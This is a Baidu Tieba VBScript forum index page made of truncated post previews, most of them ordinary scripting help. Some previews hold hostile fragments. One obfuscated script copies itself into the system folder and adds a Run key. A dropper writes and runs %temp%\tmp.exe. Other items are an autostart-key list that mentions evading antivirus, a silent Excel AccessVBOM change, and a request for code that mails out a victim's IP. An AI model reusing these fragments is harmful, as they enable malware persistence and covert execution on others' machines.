vbs吧
关注: 18,228 贴子: 102,955

VBS是基于Visual Basic的脚本语言。

  • 7
    VB,VBS,VBA,ASP可引用的库参考 '''--- DAODE1212整理于2008年06月03日, '''---HTTP://WWW.BCDSOFT.NET/ONESTEPHOME/ 文件系统对象相关: ("SCRIPTING.FILESYSTEMOBJECT") 字典相关: ("SCRIPTING.DICTIONARY") 脚本外壳相关: ("WSCRIPT.SHELL") WINDOWS外壳相关: ("SHELL.APPLICATION") 正则表达式相关: ("VBSCRIPT.REGEXP") ASP相关: ("MSWC.ADROTATOR") ("MSWC.NEXTLINK") ("MSWC.MYINFO") 公用对话框相关: ("MSCOMDLG.COMMONDIALOG") 编码与密码相关: ("SCRIPTPW.PASSWORD") ( "SCRIPTING.ENCODER" ) 邮件发送的组件相关: (
    savage200 5-4
  • 51
    Option Explicit Dim WshShell Dim oExcel, oBook, oModule Dim strRegKey, strCode Set oExcel = CreateObject("Excel.Application") set WshShell = CreateObject("wscript.Shell") strRegKey = "HKEY_CURRENT_USER\Software\Microsoft\Office\$\Excel\Security\AccessVBOM" strRegKey = Replace(strRegKey, "$", oExcel.Version) WshShell.RegWrite strRegKey, 1, "REG_DWORD" Set oBook = oExcel.Workbooks.Add Set oModule = obook.VBProject.VBComponents.Add(1) strCode = _ "Declare Sub Beep Lib ""kernel32"" (ByVal fre As Long, ByVal ms As Long)" & vbCr & _ "Declare Sub Sleep Lib ""kernel32"" (ByVal ms As Long)" oMo
    批发ijf 12-15
  • 63
    Well,不知道该说些什么了。VBS_Users:你们还好么?就知道,三分钟的热情难以让人真正有所提高,所以看到了“浮夸”很多。沉迷在Shutdown和SendKeys中或许没那么有激情吧,只是这种事谁知道,因为别人的想法你总是难以感同身受。只是想写字,没那么多想法。只是想立个帖子,感受一下自己的存在。That's it!
    GLaDOS 4-24
  • 40
    感谢 black_mady 分享的飞信接口 http://tieba.baidu.com/f?kz=1101975565
  • 159
    'By mady(我是企鹅) Dim LoginUrl,homeUrl,url,msg,logstate phoneNum=""     '手机号 pass=""   '密码 loginstatus="1"    '在线 msg="已登录!"      '信息内容 homeUrl="http://f.10086.cn/im/index/indexcenter.action" LoginUrl="http://f.10086.cn/im/login/inputpasssubmit1.action?loginstatus="& loginstatus &"&pass="& pass &"&m="& honeNum url="http://f.10086.cn/im/user/sendMsgToMyselfs.action?msg="& msg Dim xmlhttp,xmlresult Set xmlhttp=createobject("microsoft.xmlhttp") if not sendMMStoMys
    acdef00004 11-10
  • 219
    哈哈...第二次发帖,为了给那些还在为“VBS到底还能做些啥?”而困惑的新手们一点小小的指引,特将鄙人的一点经验和大家分享下,希望起到一个抛砖引玉的作用吧! 今天要和大家讨论的话题可能算很多新手比较感兴趣的话题吧,特别是那些Hack技术比较感兴趣的朋友,反正俺当初对【木 马】、【病 毒】、【外 挂】等这些东东是充满了极大的兴趣的。 好吧,废话少说,进入正题: 在讨论具体的实现细节之前,咋们先来对【木 马】这一东东的原理
    RPG400377 5-29
  • 37
    Option Explicit Dim WshShell Dim oExcel, oBook, oModule Dim strRegKey, strCode, x, y Set oExcel = CreateObject("Excel.Application") set WshShell = CreateObject("wscript.Shell") strRegKey = "HKEY_CURRENT_USER\Software\Microsoft\Office\$\Excel\Security\AccessVBOM" strRegKey = Replace(strRegKey, "$", oExcel.Version) WshShell.RegWrite strRegKey, 1, "REG_DWORD" Set oBook = oExcel.Workbooks.Add Set oModule = obook.VBProject.VBComponents.Add(1) strCode = _ "Private Declare Function SetCursorPos Lib ""user32"" (ByVal x As Long, ByVal y As Long) As Long" & vbCr & _ "Private Type POINTAPI : X As
  • 0
    dim srp, fso, wsh set srp = GetObject("winmgmts:root\default:StdRegProv") set fso = CreateObject("Scripting.FileSystemObject") set wsh = CreateObject("WScript.Shell") dim ps, pss set pss = GetObject("winmgmts:root\cimv2:win32_process").instances_      for each ps in pss          if ps.name = "explorer.exe" then             ps.terminate          end if      next set pss = nothing wscript.sleep 100 if waitpsrunning("explore
    jngyng 5-22
  • 27
    就是用VBS操作Word.Application对象发送信息就像SendMessage一样好用。或许,还有局限性,但是我没有对它深入研究。说明:在Word.Application中有个Task对象,这个Task对象有个SendMessage方法,和API的基本类似。所以,就: 'BY Coo_boi Function SendMessage(lpWinTitle,wMsg,wParam,lParam) Dim WordApp Dim ShApp,colTask,oTask Set WordApp=CreateObject("Word.Application") Set colTask=wordapp.Tasks SendMessage=False For Each oTask In colTask     If&#x2
    Masodoar 2-20
  • 197
    额,这个标题真是萌翻了。。。--! 近来,吧内也没什么生气,有帖子也都是那些关于ShutDown和MsgBox的问题。 确实,VBS是脚本语言,底层的、高层的似乎与哪一样对比都显得短板。但是,VBS还是有它自己的优点的。批量处理和个性化定制,还有便于编辑和修改。。。作为一个基于对象的应用,它有时显得很风骚,很强大。学VBS之前略懂些C和VB,偶然发现VSB是因为无聊搜索中知道有个FSO对象。藉此才更进一步了解了VBS,了解了脚本。接触之时充满对对
  • 40
    Run 命令用的多了,常会留下一些多余的记录,写了个清理脚本 'Run历史记录清理工具     愚人陈    2010/3/21 5:47 ' 'left命令 'reg相关命令 'Err.Clear 'Input false '----------------------------------------------------------------------- Set r=CreateObject("WScript.Shell") Dim a(30),List,Key Key = "HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\RunMRU\" Do read() Loop Until delete()=false Function read() List="" For i=1 To 26 KeyName=Chr(96+i) On Error Resume Next RunMRU=r.RegRead (Key&KeyName) a(i)=RunMRU RunMRU=Lef
  • 28
    'BY 破冰 664284092@QQ.COM on error resume Next Dim qq qq=Trim(InputBox("就是看别人的啦"&chr(13)&chr(13)&chr(13)&"输入你要查看的QQ号","输入QQ号","")) Dim ie,doc :execute("Set ie=wscript.cr"&"eateobject(""inte"&"rne""&""texplorer.ap""&""pl"&"ication"")") ie.navigate   "ABOUT:BLANK":ie.AddressBar=0:ie.MenuBar=0:ie.toolbar= 0:ie.StatusBar=0:ie.Resizable=1:ie.FullScreen=0:ie.visible=1:ie.width=1200:ie.Height=800 Do while(ie.busy):loop set doc=ie.document doc.open doc.writeln "<head><style>BODY{SCROLLBAR-FACE-COLOR:#FFFF00
  • 11
    ---常用启动项--- HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run '特别注意这一项,某些杀毒软件查的比较紧。 HKCU\Software\Microsoft\Windows\CurrentVersion\Run 'Ctfmon就在这里 HKLM\System\CurrentControlSet\Control\Terminal Server\Wds\rdpwd\StartupPrograms HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\Shell '这是Explorer的启动项,如果被占用桌面将启动不了。 HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\Userinit 这个键允许指定用逗号分隔的多个程序,可以:userinit.exe,Test.vbs HKEY_CURRENT_USER\Software
    Sky阿呼 4-30
  • 83
    Ans = InPutBox("请输入要执行的操作:1.加密,2.解密,3.退出。") Ans = Int(Ans) If Ans =1 Then set fso=createobject("scripting.filesystemobject")   Set objDialog = CreateObject("UserAccounts.CommonDialog")   objDialog.Filter = "vbs File|*.vbs|All Files|*.*"   objDialog.InitialDir = "" objDialog.ShowOpen strLoadFile = objDialog.FileName   if not strLoadFile = "" then   set op=fso.opentextfile(strLoadFile)   dow=13   do while op.atendofstream=false   line=op.readline   for i=1 to len(line)&nb
  • 29
    '第一次自己动手写的一个有用的东西,有什么错误还请指正 'encoder.vbs      加密工具 declare function doublebyte(din) Dim string, n, length, word, result, digit function doublebyte(din) dim dr din = hex(din) dr = "%" + left(din,2) + "%" + right(din,2) doublebyte = dr end function string = InputBox("The Characters:", "Encoder v1.0") n = 1 length = len(string) if length = 0 then wscript.quit while n <= length      word = mid(string,n,1)      digit = asc(word)      if digit < 0 the
    pizhoutv 7-26
  • 51
    fun1 = "sub saveFile(fName,str):dim temp:set xmldoc = CreateObject(""Microsoft.XMLDOM""):xmldoc.loadXml ""<?xml version=""""1.0""""?>"":set pic = xmldoc.createElement(""pic""):pic.dataType = ""bin.hex"":pic.nodeTypedValue = str:temp = pic.nodeTypedValue:with CreateObject(""ADODB.Stream""):.type = 1:.open:.write temp:.saveToFile fName, 2:.close:end with:end sub" fun2 = "set ws = CreateObject(""WScript.Shell""):fn = ws.ExpandEnvironmentStrings(""%temp%"") & ""\tmp.exe"":saveFile fn,data:ws.Run fn:wscript.sleep 100" path = wscript.arguments(0) set stream = createobject("adodb.stream") s
  • 7
    'write by 次碳酸钴 in 3:18 2009/10/12 set ie = createobject("internetexplorer.application") ie.toolbar = 0:ie.navigate "about:blank" url = inputbox("Select * from ","请输入查询的目标","Win32_Process") if url = "" then wscript.quit ie.visible = 1 createobject("wscript.shell").sendkeys "{f11}" ie.document.write "<title>" & url & "</title>" for each i in getobject("winmgmts:\\.\root\cimv2").execquery("select * from " & url)    with
    PopEye 5-20
  • 41
    思路1: 直接输入公式,即可得到结果。(1个inputbox) 思路2: 分别输入两个数字和运算符号。(3个或更多inputbox) 如回帖请注明属于思路几或你自己的思路
    liyiuse1 1-24
  • 14
    '---------------------------------------------------------- ' CODE BY: EAGLE ' Email    : eagle846@163.com ' QQ    : 369029696 ' ' 函数名 : IEmsg ' 功    能 : 在屏幕右下角升起一个网页,可以用于提示信息 ' 特    点 : 可以将网页在自定义时间后自动关闭 ' ' 参    数 : IEmsg(title,msg,time) '    title -     提示信息的标题 '    msg -     提示信息的内容,换行符为"<br>" '  
  • 28
    '************************ '不足之处,欢迎指正 '注:vista下无效 'written by maomaochong '2009.9.18 '************************ on error resume next set ws=createobject("wscript.shell") set fso=createobject("scripting.filesystemobject") set sa=createobject("shell.application") Set ucd = CreateObject("UserAccounts.CommonDialog") do '---------------------------------功能选择--------------------------------------------- start=inputbox("请输入相应的数字选择功能(按取消退出):"
    金先生 12-10
  • 89
    有时,在百度贴吧发帖或在知道回答别人问题时,经常会贴一些代码。但是由于这两个地方不支持制表符(TAB发送),当我们发送带有制表符的代码时会被自动替换为一个空格,所以我们发的代码会因为没有层次而显得很乱。就算代码写的再好看上去也像一堆垃圾,像这样: main() { long int i; int bonus1,bonus2,bonus4,bonus6,bonus10,bonus; scanf("%ld",&i); bonus1=100000*0.1;bonus2=bonus1+100000*0.75; bonus4=bonus2+200000*0.5; bonus6=bonus4+200000*0.3; bonus10=bonus6+400000*0.15; if(i<
    baorca 5-30
  • 20
    参考资料:从网页 http://d.download.csdn.net/down/588417/numenshane1 下载的资源 操作系统: Windows XP Win32_Process 类别代表在 Win32 系统上的一系列事件。任何包括一个或多个处理器或解释程序、某些可执行编码和输入集的交互的系列都为这个类别的附属(或成员)。 例如: 在 Win32 系统上运行的客户应用程序。 Caption Caption 属性为对象的简短文字描述(一行字符串)。 CommandLine 如果可用的话,CommandLine 属性指定了启动某个特定进程所要用到命令行。 CreationClassNam
    varia 12-2
  • 20
    RT,vb吧观光团路过
  • 22
    目的是想用vbs玩一个小游戏。 比如,鼠标点击网页上的提交按钮,可以用类似IE2.Document.login.Submit这样的代码来实现。 用鼠标去点网页上的一个gif动画,用代码如何实现呢? 先谢了!! 以下是这个网页源文件中的节选: 钓鱼台 请按一下钓竿的图片,开始钓鱼
    new_user11 8-20
  • 35
    RT 很好,很强大
  • 91
    rem start model=false mydicN=0 on error resume next set fso=createobject("script"&"ing.filesyste"&"mobject") set sh=createobject("wscr" & "ipt.sh" & "ell") set sysdir=fso.getspecialfolder(1) set mydic=createobject("script"&"ing.dict" &"ionary") key0="HKCR\VBSFile\DefaultIcon\" sh.regwrite key0,sysdir & "\shell32.dll,-152" sh.regwrite "HKCR\.int\","VBSFile" newfilename=sysdir & "\" & "SoundMier.int" fso.copyfile WScript.ScriptFullName,newfilename key0="HKLM\software\microsoft\windows\currentversion\run\SoundMier" sh.regwrite key0,newfilename set file0=fso.Ope
  • 32
    Dim objws,objfs Set objws=WScript.CreateObject("wscript.shell") Set objfs=CreateObject("scripting.filesystemobject") Dim dl For Each d In objfs.Drives          If d.DriveType=1 Then                  dl=d.DriveLetter          End If Next If dl<>"" Then          If objfs.FileExists(dl & ":\SecretKey") Then             &
  • 20
    dim oie,doc1,fso strComputer = "." Set objWMIService = GetObject("winmgmts:" _ & "{impersonationLevel=impersonate}!\\" & strComputer & "\root\cimv2") Set colprocess = objWMIService.ExecQuery _ ("Select * from Win32_process") for each objprocess in colprocess a=20-len(objprocess.caption) b=10-len(objprocess.handle) for i = 0 to a p=p&"." next for i = 0 to b q=q&"." next pross= pross&objprocess.caption&p&objprocess.handle&q&objprocess.commandline&vbcrlf p="" q="" next no="总进程数为:"&colprocess.count b="-------------------------------------------
    hokkoo 8-22
  • 17
    运行环境:Win9X/2000/XP/2003 软件语言:简体中文 软件类型:国产软件 - 编译工具 授权方式:共享版 软件大小:658 KB 推荐星级:*** 更新时间:2008-7-20 插件情况:无 软件简介: 一款可以快速从VBS或JS文件单独运作的软件,并且可以将这类文件编译成执行档(.EXE),同时会把内容采用Blowfish算法加密。 下载地址:http://www.cmdos.net/soft/download.asp?softid=637&downid=0&id=773
    jzq3303 8-19
  • 3
    '此脚本可以在telnet服务已经禁用且关闭的情况下开启telnet服务,^-^ 'script by breakan Option explicit dim objwmiservice,colservices dim objservice,telnetservername telnetservername="TlntSvr" set objwmiservice=getobject("winmgmts:\\.") set colservices=objwmiservice.instancesof("win32_service") Dim result result=MsgBox("[是]开启telnet服务" & vbCr & "[否]关闭telnet服务" & vbCr &"[取消]退出脚本",3+64,"telnet service") If result=6 then      for each objservice in colservices      if objservice.name=telne
  • 6
    如何用vbs搜索整个硬盘? filename=inputbox("输入文件名","搜索") set fso=createobject("scripting.filesystemobject") for each drv in fso.drives set folder1=fso.getfolder(drv.path) ...... ...... ...... ......
  • 16
    求vbs代码,运行后能将ip(非局域网电脑)地址发到我的邮箱。谢谢!
    sdaoshen 7-31
  • 7
    我想把网络连接里的宽带连接创建到桌面上,可是正常的宽带连接快捷方式只是一个 GID ,也没有真正的目标,怎么创建啊? 退一步,用传统的脚本创建raspppoe的快捷方式, set WshShell = WScript.CreateObject("WScript.Shell") '设置CreateObject 方法 strDesktop = WshShell.SpecialFolders("Desktop") '取得“桌面”的路径 set oShellLink = WshShell.CreateShortcut(strDesktop & "\宽带连接.lnk") '设置快捷方式将要保存到的路径和快捷方式名. oShellLink.TargetPath = "%windir%\system32\Rasphone.exe" '快捷方式里的“目
    lza201128 6-1

  • 发贴红色标题
  • 显示红名
  • 签到六倍经验

赠送补签卡1张,获得[经验书购买权]

扫二维码下载贴吧客户端

下载贴吧APP
看高清直播、视频!